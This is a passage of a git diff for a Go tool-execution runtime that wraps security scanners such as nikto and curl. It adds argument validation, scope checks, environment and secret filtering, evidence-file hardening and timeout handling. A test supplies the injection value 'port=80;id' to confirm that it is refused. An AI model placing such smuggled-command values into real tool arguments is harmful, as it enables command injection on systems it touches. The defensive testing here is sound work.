{ + t.Error("nikto: port=80;id must be refused by the anchored port_range pattern") + } + + curl := load("curl_fetch.clad.toml") + if _, err := executor.BuildCommandArgv(curl, map[string]string{"url": "https://93.184.216.34/"}); err == nil || + !strings.Contains(err.Error(), "not in scope") { + t.Errorf("curl: public IP literal must be refused as not in scope, got %v", err) + } + // block_internal resolves example.com; assert only when DNS works. + if _, err := net.LookupHost("example.com"); err != nil { + t.Logf("skipping the curl example.com assertion: DNS unavailable (%v)", err) + return + } + if _, err := executor.BuildCommandArgv(curl, map[string]string{"url": "https://example.com/"}); err != nil { + t.Errorf("curl: https://example.com/ must be accepted: %v", err) + } +} diff --git a/go/go.mod b/go/go.mod index ef63d24..b7049a2 100644 --- a/go/go.mod +++ b/go/go.mod @@ -2,6 +2,8 @@ module github.com/thirdkeyai/toolclad go 1.21 +toolchain go1.26.9 + require ( github.com/BurntSushi/toml v1.4.0 github.com/spf13/cobra v1.8.1 diff --git a/go/pkg/executor/executor.go b/go/pkg/executor/executor.go index e30de93..440ae31 100644 --- a/go/pkg/executor/executor.go +++ b/go/pkg/executor/executor.go @@ -4,19 +4,27 @@ package executor import ( "bytes" "context" + "crypto/rand" "crypto/sha256" + "encoding/hex" "encoding/json" + "errors" "fmt" "io" "net/http" + "net/url" "os" "os/exec" + "path/filepath" "regexp" + "sort" "strconv" "strings" "syscall" "time" + "github.com/BurntSushi/toml" + "github.com/thirdkeyai/toolclad/pkg/manifest" "github.com/thirdkeyai/toolclad/pkg/validator" ) @@ -34,149 +42,549 @@ type EvidenceEnvelope struct { OutputHash string `json:"output_hash,omitempty"` Results map[string]any `json:"results"` Error string `json:"error,omitempty"` + // Truncated is set when stdout, stderr or an HTTP response body + // exceeded [output] max_bytes and capture stopped at the cap. + Truncated bool `json:"output_truncated,omitempty"` +} + +// newScanID returns a scan identifier for one invocation: +// -<32 hex chars>, the random part being 128 bits from +// crypto/rand so an id (and the evidence paths derived from it) cannot be +// predicted. +func newScanID(start time.Time) string { + var b [16]byte + if _, err := rand.Read(b[:]); err != nil { + // crypto/rand does not fail on supported platforms; refuse to fall + // back to a predictable id if it ever does. + panic(fmt.Sprintf("crypto/rand: %v", err)) + } + return fmt.Sprintf("%d-%s", start.Unix(), hex.EncodeToString(b[:])) +} + +// evidenceDir returns the evidence root: TOOLCLAD_EVIDENCE_DIR or +// /toolclad-evidence. +func evidenceDir() string { + if dir := os.Getenv("TOOLCLAD_EVIDENCE_DIR"); dir != "" { + return dir + } + return filepath.Join(os.TempDir(), "toolclad-evidence") +} + +// outputDir returns the per-invocation output directory: [tool.evidence] +// output_dir formatted with {evidence_dir} and {scan_id} when set, else +// /-. +func outputDir(m *manifest.Manifest, evDir, scanID string) string { + if m.Tool.Evidence != nil && m.Tool.Evidence.OutputDir != "" { + r := strings.NewReplacer("{evidence_dir}", evDir, "{scan_id}", scanID) + return r.Replace(m.Tool.Evidence.OutputDir) + } + return filepath.Join(evDir, scanID+"-"+m.Tool.Name) +} + +// outputFile returns /scan., ext following output.format. +func outputFile(m *manifest.Manifest, outDir string) string { + ext := "txt" + if m.Output != nil { + switch m.Output.Format { + case "xml", "json", "csv", "jsonl": + ext = m.Output.Format + } + } + return filepath.Join(outDir, "scan."+ext) +} + +// ensurePrivateDir creates dir (and parents) and sets it to mode 0700. A +// symlink in its place is refused so a pre-planted link in a shared temp +// directory cannot redirect evidence. +func ensurePrivateDir(dir string) error { + if fi, err := os.Lstat(dir); err == nil && fi.Mode()&os.ModeSymlink != 0 { + return fmt.Errorf("refusing to use evidence directory '%s': it is a symlink", dir) + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return fmt.Errorf("creating evidence directory: %w", err) + } + if err := os.Chmod(dir, 0o700); err != nil { + return fmt.Errorf("securing evidence directory: %w", err) + } + return nil +} + +// writeEvidenceFile creates path and writes data to it. The file is opened +// with O_CREAT|O_EXCL|O_NOFOLLOW and mode 0600, so an existing file or a +// pre-planted symlink at path makes the write fail instead of being +// followed or overwritten. +func writeEvidenceFile(path string, data []byte) error { + f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL|syscall.O_NOFOLLOW, 0o600) + if err != nil { + return err + } + if _, err := f.Write(data); err != nil { + f.Close() + return err + } + return f.Close() +} + +// fixedPath is the PATH every child receives and the only PATH argv[0] is +// resolved against. The runtime's own PATH is never inherited: an inherited +// PATH is how a renamed binary earlier in the search order wins. +const fixedPath = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + +// passthroughEnv are the only parent variables copied to a child, and only +// when set. +var passthroughEnv = []string{"HOME", "LANG", "LC_ALL", "TZ", "TERM"} + +// childEnv builds the child environment from the allowlist: the fixed PATH +// plus HOME, LANG, LC_ALL, TZ and TERM when set, plus extra. Nothing else +// from the runtime's environment reaches the child; in particular the +// runtime's secrets (TOOLCLAD_SECRET_*) are filtered out even if a future +// edit puts one into extra. The result is never nil: a nil cmd.Env would +// inherit the whole parent environment. +func childEnv(extra []string) []string { + env := []string{"PATH=" + fixedPath} + for _, k := range passthroughEnv { + if v, ok := os.LookupEnv(k); ok { + env = append(env, k+"="+v) + } + } + for _, kv := range extra { + if strings.HasPrefix(kv, "TOOLCLAD_SECRET_") { + continue + } + env = append(env, kv) + } + return env +} + +// resolveArgv0 returns the absolute path the runtime will execute. A name +// without a path separator is looked up in fixedPath only; a name with one +// is used as given, made absolute against the runtime's working directory +// (the child runs in a scratch directory, where a relative path would +// otherwise resolve differently). +func resolveArgv0(name string) (string, error) { + if strings.ContainsRune(name, '/') { + return filepath.Abs(name) + } + for _, dir := range filepath.SplitList(fixedPath) { + p := filepath.Join(dir, name) + if fi, err := os.Stat(p); err == nil && fi.Mode().IsRegular() && fi.Mode()&0o111 != 0 { + return p, nil + } + } + return "", fmt.Errorf("cannot resolve command '%s' in PATH %s", name, fixedPath) +} + +// defaultKillGrace is the SIGTERM-to-SIGKILL interval when +// TOOLCLAD_KILL_GRACE_MS is unset or invalid. +const defaultKillGrace = 2000 * time.Millisecond + +// killGrace returns TOOLCLAD_KILL_GRACE_MS as a duration. Anything other +// than a non-negative integer yields the 2000 ms default. +func killGrace() time.Duration { + v := os.Getenv("TOOLCLAD_KILL_GRACE_MS") + if v == "" { + return defaultKillGrace + } + ms, err := strconv.ParseInt(v, 10, 64) + if err != nil || ms < 0 { + return defaultKillGrace + } + return time.Duration(ms) * time.Millisecond +} + +// minWaitDelay bounds how long Run waits for the output pipes after the +// child exits or is signaled, even with a zero grace period: a WaitDelay of +// zero would mean "wait for the pipes forever". +const minWaitDelay = 100 * time.Millisecond + +// resolveVars validates arguments and resolves every template variable into +// the two variable classes of the command model: +// +// - vars holds single-token variables: every declared arg (validated), +// [command.defaults] entries, and the executor-injected _scan_id, +// _evidence_dir and _output_file. Each is exactly one argv token's worth +// of text and is never split. +// - trusted holds multi-token variables produced from manifest-controlled +// text: __flags from [command.mappings] (tokenized here) and +// _ from [command.conditionals] (tokenized at load, substituted +// here). A whole-token placeholder naming one of these splices its +// token vector into argv. +func resolveVars(m *manifest.Manifest, args map[string]string, scanID string) (map[string]string, map[string][]string, error) { + // allow_whitespace is honored only for a manifest that declared exec + // itself; the executor escape hatch always validates in strict mode. + execMode := m.Command.ExecWasDeclared && m.Command.Executor == "" + cleaned, err := validateArgs(m, args, execMode) + if err != nil { + return nil, nil, err + } + vars := make(map[string]string, len(m.Args)) + for name := range m.Args { + // An unset optional resolves to the empty string so a whole-token + // placeholder for it disappears from argv. + vars[name] = cleaned[name] + } + + for k, v := range m.Command.Defaults { + if _, exists := vars[k]; !exists { + vars[k] = fmt.Sprintf("%v", v) + } + } + + evDir := evidenceDir() + vars["_scan_id"] = scanID + vars["_evidence_dir"] = evDir + vars["_output_file"] = outputFile(m, outputDir(m, evDir, scanID)) + + trusted := make(map[string][]string) + for argName, mapping := range m.Command.Mappings { + val := vars[argName] + mapped, ok := mapping[val] + if !ok { + if val == "" { + // An absent optional argument contributes nothing. + trusted["_"+argName+"_flags"] = []string{} + continue + } + return nil, nil, fmt.Errorf( + "no mapping for argument '%s' value '%s' in [command.mappings.%s]", + argName, val, argName) + } + // Mapping values come from the manifest, so splitting them is safe. + // A value mapped to "" yields no tokens. + tokens, err := manifest.TokenizeTemplate(mapped) + if err != nil { + return nil, nil, fmt.Errorf("command.mappings.%s: %w", argName, err) + } + if tokens == nil { + tokens = []string{} + } + trusted["_"+argName+"_flags"] = tokens + } + + // Conditionals are evaluated in name order so the result is deterministic. + condNames := make([]string, 0, len(m.Command.Conditionals)) + for name := range m.Command.Conditionals { + condNames = append(condNames, name) + } + sort.Strings(condNames) + for _, name := range condNames { + cond := m.Command.Conditionals[name] + if !evaluateCondition(cond.When, vars) { + trusted["_"+name] = []string{} + continue + } + tokens := cond.Tokens + if tokens == nil && cond.Template != "" { + // Manifest built in memory without going through load. + var err error + tokens, err = manifest.TokenizeTemplate(cond.Template) + if err != nil { + return nil, nil, fmt.Errorf("command.conditionals.%s.template: %w", name, err) + } + } + expanded, err := expandTokens(tokens, vars, trusted, nil) + if err != nil { + return nil, nil, fmt.Errorf("command.conditionals.%s: %w", name, err) + } + trusted["_"+name] = expanded + } + + return vars, trusted, nil } -// resolveVars validates arguments and resolves all template variables (args, -// defaults, mappings) into a single interpolation context. -func resolveVars(m *manifest.Manifest, args map[string]string) (map[string]string, error) { - cleaned := make(map[string]string) - for name, argDef := range m.Args { +// validateArgs is the one argument-validation routine every backend +// calls: it refuses undeclared names, loads the manifest's scope, refuses a +// missing required argument, applies declared defaults and validates every +// supplied or defaulted value through validator.ValidateArgWithCustomTypesIn +// with the manifest's custom types. The result +// holds exactly those values; an unset optional without a default is +// absent. execMode is true only for a manifest that declared exec itself. +func validateArgs(m *manifest.Manifest, args map[string]string, execMode bool) (map[string]string, error) { + if err := checkDeclaredArgs(m, args); err != nil { + return nil, err + } + if err := m.EnsureScope(); err != nil { + return nil, err + } + names := make([]string, 0, len(m.Args)) + for name := range m.Args { + names = append(names, name) + } + sort.Strings(names) + cleaned := make(map[string]string, len(names)) + for _, name := range names { + argDef := m.Args[name] val, provided := args[name] if !provided { if argDef.Required { return nil, fmt.Errorf("missing required argument: %q", name) } - if argDef.Default != nil { - val = fmt.Sprintf("%v", argDef.Default) - } else { - val = "" + if argDef.Default == nil { + continue } + val = fmt.Sprintf("%v", argDef.Default) } - - validated, err := validator.ValidateArg(argDef, val) + validated, err := validator.ValidateArgWithCustomTypesIn(argDef, val, m.CustomTypes, execMode, m.Scope) if err != nil { return nil, fmt.Errorf("argument %q: %w", name, err) } cleaned[name] = validated } + return cleaned, nil +} - for k, v := range m.Command.Defaults { - if _, exists := cleaned[k]; !exists { - cleaned[k] = fmt.Sprintf("%v", v) +// checkDeclaredArgs refuses a supplied argument name that the manifest does +// not declare in [args]. An undeclared name never reaches the command, so +// this is not an injection boundary; it closes the gap between what the +// caller asked for and what ran, instead of silently dropping the argument. +// Names are checked in sorted order so the reported one is deterministic. +func checkDeclaredArgs(m *manifest.Manifest, args map[string]string) error { + supplied := make([]string, 0, len(args)) + for name := range args { + supplied = append(supplied, name) + } + sort.Strings(supplied) + for _, name := range supplied { + if _, ok := m.Args[name]; ok { + continue + } + declared := make([]string, 0, len(m.Args)) + for d := range m.Args { + declared = append(declared, d) + } + sort.Strings(declared) + list := strings.Join(declared, ", ") + if list == "" { + list = "none" } + return fmt.Errorf("unknown argument '%s' (declared arguments: %s)", name, list) } + return nil +} - for argName, mapping := range m.Command.Mappings { - val, ok := cleaned[argName] - if !ok { - continue +// evaluateCondition evaluates a [command.conditionals.].when expression +// against the single-token variables. +// +// Supported forms: a comparison of a variable against the empty string or a +// quoted or bare literal using != or ==, joined by ` and ` or ` or ` (one +// level, no nesting). A missing variable compares as the empty string. +// +// SECURITY: this is a closed-vocabulary evaluator. Never replace it with +// dynamic code evaluation of any kind. +func evaluateCondition(when string, vars map[string]string) bool { + if strings.Contains(when, " and ") { + for _, part := range strings.Split(when, " and ") { + if !evaluateSingle(strings.TrimSpace(part), vars) { + return false + } } - mapped, ok := mapping[val] - if ok { - cleaned["_"+argName+"_flags"] = mapped - if strings.HasSuffix(argName, "_type") { - prefix := strings.TrimSuffix(argName, "_type") - cleaned["_"+prefix+"_flags"] = mapped + return true + } + if strings.Contains(when, " or ") { + for _, part := range strings.Split(when, " or ") { + if evaluateSingle(strings.TrimSpace(part), vars) { + return true } } + return false } + return evaluateSingle(strings.TrimSpace(when), vars) +} - return cleaned, nil +// evaluateSingle evaluates one `lhs OP rhs` comparison, OP being != or ==. +// Any other shape evaluates to false. +func evaluateSingle(expr string, vars map[string]string) bool { + for _, op := range []string{"!=", "=="} { + idx := strings.Index(expr, op) + if idx < 0 { + continue + } + lhs := strings.TrimSpace(expr[:idx]) + rhs := strings.Trim(strings.TrimSpace(expr[idx+len(op):]), "'\"") + val := vars[lhs] + if op == "!=" { + return val != rhs + } + return val == rhs + } + return false } -// BuildCommandArgv builds an argv array from the manifest's exec field. -// Each element is interpolated independently, preserving argument boundaries. -// This avoids the template→string→split round-trip that breaks when values -// contain spaces or quote characters. -func BuildCommandArgv(m *manifest.Manifest, args map[string]string) ([]string, error) { - if len(m.Command.Exec) == 0 { - return nil, fmt.Errorf("manifest %q has no exec array", m.Tool.Name) +// endOfOptionsState tracks the single `--` insertion for one build. +type endOfOptionsState struct { + enabled bool + inserted bool + isUser func(name string) bool +} + +// expandTokens substitutes a compiled token vector into argv tokens: +// +// 1. A token that is exactly `{name}` naming a trusted multi-token variable +// splices that variable's token vector (0..n tokens). +// 2. Otherwise every `{name}` occurrence is substituted textually inside +// the single token, which is never re-split. A token that was exactly one +// placeholder resolving to the empty string is dropped. `{{` and `}}` +// become literal braces. An unresolved name is an error, and so is a +// trusted multi-token variable glued to literal text. +// +// When eoo is non-nil and enabled, a literal `--` is inserted immediately +// before the first argv token produced from a whole-token user-arg +// placeholder, at most once. +func expandTokens(tokens []string, vars map[string]string, trusted map[string][]string, eoo *endOfOptionsState) ([]string, error) { + argv := make([]string, 0, len(tokens)) + for _, tok := range tokens { + if name, ok := manifest.SolePlaceholder(tok); ok { + if tv, ok := trusted[name]; ok { + argv = append(argv, tv...) + continue + } + v, ok := vars[name] + if !ok { + return nil, fmt.Errorf("unresolved placeholder '{%s}' in command", name) + } + if v == "" { + continue + } + if eoo != nil && eoo.enabled && !eoo.inserted && eoo.isUser(name) { + argv = append(argv, "--") + eoo.inserted = true + } + argv = append(argv, v) + continue + } + // A multi-token variable may only appear as a whole token; glued + // to literal text it is never joined into one token. + for _, name := range manifest.Placeholders(tok) { + if _, ok := trusted[name]; ok { + return nil, fmt.Errorf( + "placeholder '{%s}' expands to multiple tokens and must be a whole token in command", name) + } + } + out, err := manifest.ExpandToken(tok, func(name string) (string, bool) { + v, ok := vars[name] + return v, ok + }) + if err != nil { + return nil, err + } + argv = append(argv, out) } + return argv, nil +} - cleaned, err := resolveVars(m, args) - if err != nil { +// compiledExec returns the manifest's canonical exec form, compiling a +// legacy template on the fly for manifests built in memory. +func compiledExec(m *manifest.Manifest) ([]string, error) { + if err := m.EnsureCompiled(); err != nil { return nil, err } + return m.Command.Exec, nil +} - argv := make([]string, len(m.Command.Exec)) - for i, element := range m.Command.Exec { - argv[i] = interpolateString(element, cleaned) +// build constructs argv and returns the resolved single-token variables +// alongside it (the executor escape hatch exports them as environment +// variables). +func build(m *manifest.Manifest, args map[string]string, scanID string) ([]string, map[string]string, error) { + tokens, err := compiledExec(m) + if err != nil { + return nil, nil, err } - - if len(argv) == 0 || argv[0] == "" { - return nil, fmt.Errorf("exec array produced empty argv") + if m.Command.Executor == "" && len(tokens) == 0 { + return nil, nil, fmt.Errorf("manifest %q has no command exec, template, or executor", m.Tool.Name) } - return argv, nil -} + vars, trusted, err := resolveVars(m, args, scanID) + if err != nil { + return nil, nil, err + } -// BuildCommand validates arguments and interpolates the command template. -// It returns the fully constructed command string ready for execution. -// For new manifests, prefer BuildCommandArgv with the exec array format. -func BuildCommand(m *manifest.Manifest, args map[string]string) (string, error) { if m.Command.Executor != "" { - return m.Command.Executor, nil + return []string{m.Command.Executor}, vars, nil } - if m.Command.Template == "" { - return "", fmt.Errorf("manifest %q has no command template or executor", m.Tool.Name) + eoo := &endOfOptionsState{ + enabled: m.Command.EndOfOptions == "--", + isUser: func(name string) bool { return m.Args[name] != nil }, } - - cleaned, err := resolveVars(m, args) + argv, err := expandTokens(tokens, vars, trusted, eoo) if err != nil { - return "", err + return nil, nil, err + } + if len(argv) == 0 || argv[0] == "" { + return nil, nil, fmt.Errorf("command produced empty argv") } + return argv, vars, nil +} - // SECURITY: This evaluator uses a closed-vocabulary parser. - // Never use eval() or equivalent dynamic code execution for conditions. +// BuildCommandArgv validates arguments and builds the argv array from the +// manifest's canonical exec form. Each element is one argv token: values are +// substituted into single tokens and never re-split, so a value containing +// whitespace or quote characters cannot change the argument structure. +func BuildCommandArgv(m *manifest.Manifest, args map[string]string) ([]string, error) { + argv, _, err := build(m, args, newScanID(time.Now())) + return argv, err +} - result := m.Command.Template - for k, v := range cleaned { - result = strings.ReplaceAll(result, "{"+k+"}", v) +// BuildCommand validates arguments and returns the constructed command as a +// display string (argv joined, with tokens quoted where needed). The string +// is for display and evidence only; execution always uses BuildCommandArgv. +func BuildCommand(m *manifest.Manifest, args map[string]string) (string, error) { + argv, err := BuildCommandArgv(m, args) + if err != nil { + return "", err } + return FormatArgv(argv), nil +} - return result, nil +// FormatArgv renders argv for display. Tokens containing whitespace, quotes +// or shell metacharacters are single-quoted so argument boundaries are +// visible; the result is never executed. +func FormatArgv(argv []string) string { + parts := make([]string, len(argv)) + for i, tok := range argv { + parts[i] = quoteForDisplay(tok) + } + return strings.Join(parts, " ") } -// shellSplit splits a command string into arguments, respecting single and -// double quotes. This replaces strings.Fields() which breaks on quoted args. -func shellSplit(cmd string) []string { - var args []string - var current strings.Builder - inSingle := false - inDouble := false - for i := 0; i < len(cmd); i++ { - c := cmd[i] - switch { - case c == '\'' && !inDouble: - inSingle = !inSingle - case c == '"' && !inSingle: - inDouble = !inDouble - case c == ' ' && !inSingle && !inDouble: - if current.Len() > 0 { - args = append(args, current.String()) - current.Reset() - } - default: - current.WriteByte(c) +func quoteForDisplay(tok string) string { + if tok == "" { + return "''" + } + needsQuote := false + for _, r := range tok { + if r <= ' ' || r == 0x7f || strings.ContainsRune(`'"\$`+"`;|&<>(){}[]!*?~#", r) { + needsQuote = true + break } } - if current.Len() > 0 { - args = append(args, current.String()) + if !needsQuote { + return tok } - return args + return "'" + strings.ReplaceAll(tok, "'", `'\''`) + "'" } -// Execute validates arguments, builds the command, executes it with a timeout, -// captures output, and returns an EvidenceEnvelope. +// Execute validates arguments, consults DefaultGate, builds the command, +// executes it with a timeout, captures output, and returns an +// EvidenceEnvelope. It is ExecuteWithGate(m, args, DefaultGate): a manifest +// with human_approval = true or a high/critical risk_tier is denied; use +// ExecuteWithGate with ApproveGate (or a gate of your own) to run it. func Execute(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope, error) { + return ExecuteWithGate(m, args, DefaultGate) +} + +// ExecuteWithGate is Execute with an explicit policy gate (nil means +// DefaultGate). The gate is consulted after validation and before anything +// runs on every backend; a denial returns a *GateDeniedError and no +// envelope. +func ExecuteWithGate(m *manifest.Manifest, args map[string]string, gate Gate) (*EvidenceEnvelope, error) { // Route to HTTP backend if m.Http != nil { - return ExecuteHTTP(m, args) + return executeHTTP(m, args, gate) } // Route to MCP proxy backend if m.Mcp != nil { - return ExecuteMCP(m, args) + return executeMCP(m, args, gate) } // Gate unimplemented modes if m.Session != nil { @@ -187,93 +595,146 @@ func Execute(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope, e } start := time.Now() - scanID := fmt.Sprintf("%d-%d", start.Unix(), start.UnixNano()%100000) - - cmdStr, err := BuildCommand(m, args) - if err != nil { + scanID := newScanID(start) + errEnvelope := func(err error) (*EvidenceEnvelope, error) { return &EvidenceEnvelope{ Status: "error", ScanID: scanID, Tool: m.Tool.Name, Timestamp: start.UTC().Format(time.RFC3339), + ExitCode: -1, Error: err.Error(), }, err } - timeout := time.Duration(m.Tool.TimeoutSeconds) * time.Second - ctx, cancel := context.WithTimeout(context.Background(), timeout) - defer cancel() + cmdArgs, vars, err := build(m, args, scanID) + if err != nil { + return errEnvelope(err) + } + // build compiled the manifest, which ran the load-time spawn checks for + // a manifest constructed in memory; a loaded one ran them at load. - // Prefer exec array (shell-free) over template string (requires splitting). - var cmdArgs []string - if len(m.Command.Exec) > 0 { - argv, err := BuildCommandArgv(m, args) - if err != nil { - return &EvidenceEnvelope{ - Status: "error", - ScanID: scanID, - Tool: m.Tool.Name, - Timestamp: start.UTC().Format(time.RFC3339), - ExitCode: -1, - Error: err.Error(), - }, err - } - cmdArgs = argv - cmdStr = strings.Join(argv, " ") - } else { - // Legacy: split template string using quote-aware splitter. - cmdArgs = shellSplit(cmdStr) + // The gate sees the validated values and decides before anything is + // created or spawned. A denial is not an execution, so no envelope. + if err := consultGate(gate, m, gateView(m, args, vars)); err != nil { + return nil, err } - if len(cmdArgs) == 0 { - return &EvidenceEnvelope{ - Status: "error", - ScanID: scanID, - Tool: m.Tool.Name, - Timestamp: start.UTC().Format(time.RFC3339), - ExitCode: -1, - Error: "empty command after splitting", - }, fmt.Errorf("empty command after splitting") + cmdStr := declaredCommand(m) + + timeoutSecs := m.Tool.TimeoutSeconds + if timeoutSecs == 0 { + // Only a manifest built in memory can get here with zero; a loaded + // one either had the key absent (defaulted to 60) or was refused. + timeoutSecs = 60 } - cmd := exec.CommandContext(ctx, cmdArgs[0], cmdArgs[1:]...) - // Set process group so we can kill the entire group on timeout. - cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + binPath, err := resolveArgv0(cmdArgs[0]) + if err != nil { + return errEnvelope(err) + } + + // Evidence root, output directory and per-invocation scratch directory, + // all mode 0700, created before the spawn so a tool that writes to + // {_output_file} finds its directory. + evDir := evidenceDir() + outDir := outputDir(m, evDir, scanID) + workDir := filepath.Join(evDir, scanID+"-work") + for _, d := range []string{evDir, outDir, workDir} { + if err := ensurePrivateDir(d); err != nil { + return errEnvelope(err) + } + } + // The scratch directory is removed only when empty: anything a tool + // wrote there is evidence. os.Remove refuses a non-empty directory. + defer os.Remove(workDir) - // If using a custom executor, pass validated args as env vars. + var extraEnv []string if m.Command.Executor != "" { - for name, argDef := range m.Args { - val, provided := args[name] - if !provided { - if argDef.Default != nil { - val = fmt.Sprintf("%v", argDef.Default) - } else { - val = "" - } - } - validated, vErr := validator.ValidateArg(argDef, val) - if vErr != nil { - return nil, fmt.Errorf("argument %q: %w", name, vErr) + // The executor escape hatch receives the validated arguments and + // the invocation metadata as environment variables. + names := make([]string, 0, len(m.Args)) + for name := range m.Args { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + extraEnv = append(extraEnv, "TOOLCLAD_ARG_"+strings.ToUpper(name)+"="+vars[name]) + } + extraEnv = append(extraEnv, + "TOOLCLAD_SCAN_ID="+scanID, + "TOOLCLAD_TOOL_NAME="+m.Tool.Name, + "TOOLCLAD_EVIDENCE_DIR="+evDir, + "TOOLCLAD_OUTPUT_DIR="+outDir, + ) + } + + ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSecs)*time.Second) + defer cancel() + + cmd := exec.CommandContext(ctx, binPath, cmdArgs[1:]...) + cmd.Args[0] = cmdArgs[0] + // Never nil: a nil Env would inherit the runtime's whole environment. + cmd.Env = childEnv(extraEnv) + // A nil Stdin connects the child to /dev/null, so a tool can neither + // read the operator's terminal nor consume a pipe the runtime owns. + cmd.Stdin = nil + cmd.Dir = workDir + // New process group so the whole group can be signaled on timeout. + // umask and resource limits (RLIMIT_CORE, RLIMIT_NPROC, ...) cannot be + // set for the child portably from Go: os/exec has no pre-exec hook, and + // changing them in the runtime would affect every goroutine. They are + // deliberately not applied here rather than faked. + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + + // Kill sequence on deadline: SIGTERM to the process group, then SIGKILL + // to the group after the grace period. WaitDelay bounds how long Run + // waits for the output pipes independently of the process, so a + // descendant that keeps stdout open cannot hang Run; after it elapses + // Go closes the pipes and kills the direct child. + // + // A child that calls setsid() leaves the group and escapes this in + // every language, so this is cleanup rather than containment; + // escape-proof cleanup needs a cgroup, which is out of scope. + grace := killGrace() + // Set only by Cancel, which runs before Run returns. + var killTimer *time.Timer + cmd.Cancel = func() error { + pid := cmd.Process.Pid + killTimer = time.AfterFunc(grace, func() { _ = syscall.Kill(-pid, syscall.SIGKILL) }) + if err := syscall.Kill(-pid, syscall.SIGTERM); err != nil { + if errors.Is(err, syscall.ESRCH) { + return os.ErrProcessDone } - envKey := "TOOLCLAD_ARG_" + strings.ToUpper(name) - cmd.Env = append(cmd.Env, envKey+"="+validated) + return err } - cmd.Env = append(cmd.Env, "TOOLCLAD_SCAN_ID="+scanID) + return nil } + cmd.WaitDelay = max(grace, minWaitDelay) - var stdoutBuf, stderrBuf bytes.Buffer - cmd.Stdout = &stdoutBuf - cmd.Stderr = &stderrBuf + // Each stream is capped at max_bytes; past the cap the writer keeps + // accepting (and discarding) so the pipe drains and the child never + // blocks on a full pipe. + limit := outputLimit(m) + stdoutBuf := &cappedBuffer{limit: limit} + stderrBuf := &cappedBuffer{limit: limit} + cmd.Stdout = stdoutBuf + cmd.Stderr = stderrBuf execErr := cmd.Run() duration := time.Since(start) + timedOut := ctx.Err() != nil && execErr != nil - // On context deadline exceeded, kill the entire process group. - if ctx.Err() != nil && cmd.Process != nil { + // Take the rest of the group: on a timeout, and when the direct child + // exited but a descendant kept the output pipes open past WaitDelay. + if cmd.Process != nil && (timedOut || errors.Is(execErr, exec.ErrWaitDelay)) { _ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL) } + if killTimer != nil { + killTimer.Stop() + } - stdoutBytes := stdoutBuf.Bytes() - stderrStr := stderrBuf.String() + stdoutBytes := stdoutBuf.buf.Bytes() + stderrStr := stderrBuf.buf.String() exitCode := 0 if cmd.ProcessState != nil { exitCode = cmd.ProcessState.ExitCode() @@ -289,6 +750,24 @@ func Execute(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope, e Stderr: stderrStr, DurationMs: duration.Milliseconds(), Timestamp: start.UTC().Format(time.RFC3339), + Truncated: stdoutBuf.truncated || stderrBuf.truncated, + } + + if timedOut { + err := fmt.Errorf("tool timed out after %d seconds", timeoutSecs) + envelope.Status = "timeout" + envelope.ExitCode = -1 + envelope.Error = err.Error() + envelope.Results = map[string]any{"raw_output": string(stdoutBytes)} + return envelope, err + } + if errors.Is(execErr, exec.ErrWaitDelay) && cmd.ProcessState != nil { + // The tool itself exited; only a leftover descendant held the + // pipes, and it has been killed. Judge the run by the exit status. + execErr = nil + if !cmd.ProcessState.Success() { + execErr = &exec.ExitError{ProcessState: cmd.ProcessState} + } } if execErr != nil { @@ -306,46 +785,171 @@ func Execute(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope, e hash := sha256.Sum256(stdoutBytes) envelope.OutputHash = fmt.Sprintf("sha256:%x", hash) - // Parse output based on format. Callback-only manifests have no [output]; - // for the execute path we always have one (validated at load). - outFormat := "text" - if m.Output != nil { - outFormat = m.Output.Format - } - results, parseErr := parseOutput(outFormat, stdoutBytes) - if parseErr != nil { - envelope.Results = map[string]any{ - "raw_output": string(stdoutBytes), + // [tool.evidence] capture = true keeps stdout at {_output_file}, unless + // the tool wrote that file itself. The write never follows a symlink + // and never overwrites an existing file. + if m.Tool.Evidence != nil && m.Tool.Evidence.Capture { + if err := captureOutput(outputFile(m, outDir), stdoutBytes); err != nil { + envelope.Status = "error" + envelope.Error = err.Error() + envelope.Results = map[string]any{"raw_output": string(stdoutBytes)} + return envelope, err } - } else { - envelope.Results = results } + applyResults(envelope, m, stdoutBytes) return envelope, nil } +// gateView returns the validated values a gate sees: every declared +// argument that was supplied or has a default, as validateArgs produced it. +func gateView(m *manifest.Manifest, args map[string]string, vars map[string]string) map[string]string { + out := make(map[string]string, len(m.Args)) + for name, def := range m.Args { + if _, ok := args[name]; ok || def.Default != nil { + out[name] = vars[name] + } + } + return out +} + +// declaredCommand is the envelope's command on the oneshot path: the exec +// array as written in the manifest joined by single spaces, or the legacy +// template string itself, with placeholders intact. Executor-injected paths +// and secrets therefore never reach the agent or the evidence; the dry run +// (BuildCommand) keeps the resolved argv. +func declaredCommand(m *manifest.Manifest) string { + if m.Command.Executor != "" { + return m.Command.Executor + " (custom executor)" + } + if !m.Command.ExecWasDeclared && m.Command.Template != "" { + return m.Command.Template + } + return strings.Join(m.Command.Exec, " ") +} + +// outputLimit returns [output] max_bytes, defaulting to 8 MiB. +func outputLimit(m *manifest.Manifest) int64 { + if m.Output == nil { + return manifest.DefaultOutputMaxBytes + } + if n := m.Output.MaxBytesLimit(); n > 0 { + return n + } + return manifest.DefaultOutputMaxBytes +} + +// cappedBuffer keeps the first limit bytes written to it and discards the +// rest, recording that it did. Write always reports the full length so the +// copy goroutine keeps draining the pipe. +type cappedBuffer struct { + buf bytes.Buffer + limit int64 + truncated bool +} + +func (c *cappedBuffer) Write(p []byte) (int, error) { + room := c.limit - int64(c.buf.Len()) + if room <= 0 { + if len(p) > 0 { + c.truncated = true + } + return len(p), nil + } + if int64(len(p)) > room { + c.buf.Write(p[:room]) + c.truncated = true + return len(p), nil + } + c.buf.Write(p) + return len(p), nil +} + +// applyResults parses raw according to [output] format and validates the +// result against [output.schema] (default {"type": "object"}), failing +// closed: a parse failure sets status parse_error and a schema failure sets +// status schema_error, each with the raw output preserved. On success the +// envelope's status is left as it is. +func applyResults(env *EvidenceEnvelope, m *manifest.Manifest, raw []byte) { + 